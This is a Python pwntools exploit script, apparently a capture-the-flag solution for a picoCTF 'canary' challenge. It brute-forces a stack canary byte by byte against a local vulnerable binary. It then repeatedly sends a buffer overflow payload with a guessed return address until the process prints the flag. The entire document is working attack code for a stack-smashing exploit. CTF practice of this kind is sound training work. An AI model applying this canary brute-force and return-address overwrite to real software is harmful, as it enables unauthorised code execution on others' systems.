#!/usr/bin/env python
# Author : 0xsegf
# https://github.com/arjunshibu
# https://www.hackthebox.eu/home/users/profile/201892
from pwn import *

elf = ELF('./vuln', checksec=False)
'''
setting stack canary
mkdir -p /problems/canary_5_f37171114d0d9fc71194842bb8b7bb34
python -c 'from pwn import *; sys.stdout.write(p32(0xcafebabe))' > /problems/canary_5_f37171114d0d9fc71194842bb8b7bb34/canary.txt
'''
def get_canary():
	junk = cyclic(32)
	canary = ''
	start_time = time.time()
	with log.progress('Bruteforcing stack canary') as l:
		for i in range(1, 5):
			for x in range(256):
				byte = struct.pack('B', x)
				context.log_level = 'critical'
				p = elf.process()
				p.recvuntil('>')
				p.sendline('56')
				p.recvuntil('>')
				p.send(junk + byte)
				resp = p.recvall()
				p.close()
				context.log_level = 'info'
				l.status('Trying {}th byte: {}'.format(i, hex(x)))
				if 'Ok' in resp:
					junk += byte
					canary += byte
					log.info('Found byte {}: {}'.format(i, hex(u32(byte.ljust(4, '\x00')))))
					if i == 4:
						canary = u32(canary.ljust(4, '\x00'))
						l.success('SUCCESS: {}'.format(hex(canary)))
					break
		log.info('Time elapsed : {:0.2f}'.format(time.time() - start_time))
		return canary

expl = cyclic(32)
expl += p32(get_canary())
expl += cyclic(16)
addr = p32(0x565557ed)
i = 1
start_time = time.time()
with log.progress('Running until return address matches') as l:
	while True:
		l.status('Try: {}'.format(i))
		context.log_level = 'critical'
		p = elf.process()
		p.recvuntil('>')
		p.sendline('56')
		p.recvuntil('>')
		p.send(expl + addr)
		resp = p.recvall()
		p.close()
		context.log_level = 'info'
		i += 1
		if 'pico' in resp:
			l.success('SUCCESS')
			print resp
			log.info('Time elapsed : {:0.2f}'.format(time.time() - start_time))
			break